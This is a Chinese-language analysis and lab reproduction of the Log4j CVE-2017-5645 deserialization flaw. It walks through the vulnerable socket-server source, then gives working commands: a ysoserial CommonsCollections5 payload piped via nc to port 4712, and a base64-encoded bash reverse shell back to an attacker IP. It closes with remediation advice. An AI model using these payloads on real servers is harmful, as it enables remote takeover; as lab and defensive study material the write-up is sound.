CVE-2017-5645源码分析与漏洞复现(反序列化)
漏洞概述
漏洞名称:Apache Log4j 反序列化远程代码执行漏洞
漏洞编号:CVE-2017-5645
CVSS 评分:9.8
影响版本:Apache Log4j 2.0-alpha1 至 2.8.1
修复版本:2.8.2 及以上
CVE-2017-5645 是 Apache Log4j 中因反序列化机制未安全处理导致的远程代码执行漏洞。攻击者通过构造恶意序列化数据发送至 Log4j 的 TCP/UDP 日志接收服务(默认端口 4712),触发反序列化操作,从而执行任意代码。该漏洞的核心问题在于 ObjectInputStream
直接反序列化不可信输入数据,且未对输入来源进行验证或过滤。
技术细节与源码分析
1. 漏洞成因
Log4j 的 SocketAppender
和 SocketHubAppender
组件通过 TCP/UDP 接收远程日志事件。接收数据时,组件使用 ObjectInputStream
直接反序列化输入流,未启用白名单或安全校验机制,导致攻击者可注入恶意序列化对象触发代码执行。
2. 关键源码分析
(1)TcpSocketServer 类
run()
方法:监听指定端口(默认 4712),接受客户端连接并交由SocketHandler
处理。public void run() {EntryMessage entry = this.logger.traceEntry();while (isActive()) {if (this.serverSocket.isClosed()) {return;}try {this.logger.debug("Listening for a connection {}...", this.serverSocket);Socket clientSocket = this.serverSocket.accept();this.logger.debug("Acepted connection on {}...", this.serverSocket);this.logger.debug("Socket accepted: {}", clientSocket);clientSocket.setSoLinger(true, 0);SocketHandler handler = new SocketHandler(clientSocket);this.handlers.put(Long.valueOf(handler.getId()), handler);handler.start();// 启动线程处理连接} catch (IOException e) {if (this.serverSocket.isClosed()) {this.logger.traceExit(entry);return;} this.logger.error("Exception encountered on accept. Ignoring. Stack trace :", e);} } for (Map.Entry<Long, SocketHandler> handlerEntry : this.handlers.entrySet()) {SocketHandler handler = handlerEntry.getValue();handler.shutdown();try {handler.join();} catch (InterruptedException interruptedException) {}} this.logger.traceExit(entry);}
(2)SocketHandler 类
构造函数
public SocketHandler(Socket socket) throws IOException {this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());}
inputStream
是一个ObjectInputStream
对象
run
方法
- 处理逻辑:触发
ObjectInputStreamLogEventBridge
的logEvents
方法。public void run() {EntryMessage entry = TcpSocketServer.this.logger.traceEntry();boolean closed = false; try {while (true) {try {if (!this.shutdown) {TcpSocketServer.this.logEventInput.logEvents(this.inputStream, TcpSocketServer.this); // 反序列化入口点continue;} } catch (EOFException e) {closed = true;} catch (OptionalDataException e) {TcpSocketServer.this.logger.error("OptionalDataException eof=" + e.eof + " length=" + e.length, e);} catch (IOException e) {TcpSocketServer.this.logger.error("IOException encountered while reading from socket", e);} break;} if (!closed) {Closer.closeSilently((AutoCloseable)this.inputStream);}} finally {TcpSocketServer.access$000(TcpSocketServer.this).remove(Long.valueOf(getId()));} TcpSocketServer.this.logger.traceExit(entry);}
(3)ObjectInputStreamLogEventBridge 类
logEvents
方法:直接调用ObjectInputStream.readObject()
,未进行安全校验。public void logEvents(ObjectInputStream inputStream, LogEventListener logEventListener) throws IOException {try {logEventListener.log((LogEvent)inputStream.readObject());//触发漏洞} catch (ClassNotFoundException e) {throw new IOException(e);} }
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.查看运行端口
docker ps
攻击步骤
1.下载ysoserial工具
- 建议直接下载
jar
包
2.使用工具在目标靶机创建文件
- kali执行命令
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.1.100 4712
//ip换为自己的目标靶机
- 验证
进入靶机容器发现创建文件成功
3.反弹shell
- 生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==
是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
的base64编码(换成自己攻击机的ip和监听端口)
- 开启监听
- kali执行命令
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 192.168.1.100 4712
//记得换为自己的payload
- 反弹shell成功
修复建议
- 升级 Log4j:升级至 2.8.2 及以上版本,修复反序列化验证机制。
- 禁用高风险组件:关闭
SocketAppender
和SocketHubAppender
的 TCP/UDP 服务。 - 网络隔离:限制对 4712 端口的访问,仅允许可信来源。
总结
CVE-2017-5645 的根源在于 Log4j 对反序列化操作缺乏安全校验,结合 Java 反序列化漏洞的通用利用链,攻击者可远程控制服务器。该漏洞的修复需要从代码层限制反序列化范围,并结合网络防护措施。
参考链接
- Apache Log4j 反序列化源码分析(含 TcpSocketServer 类详解)
- 官方修复方案与漏洞评分
- 反弹 Shell 的 Payload 构造与实验复现
- TcpSocketServer 类源码与漏洞触发路径
- Apache Log4j Server 反序列化命令执行漏洞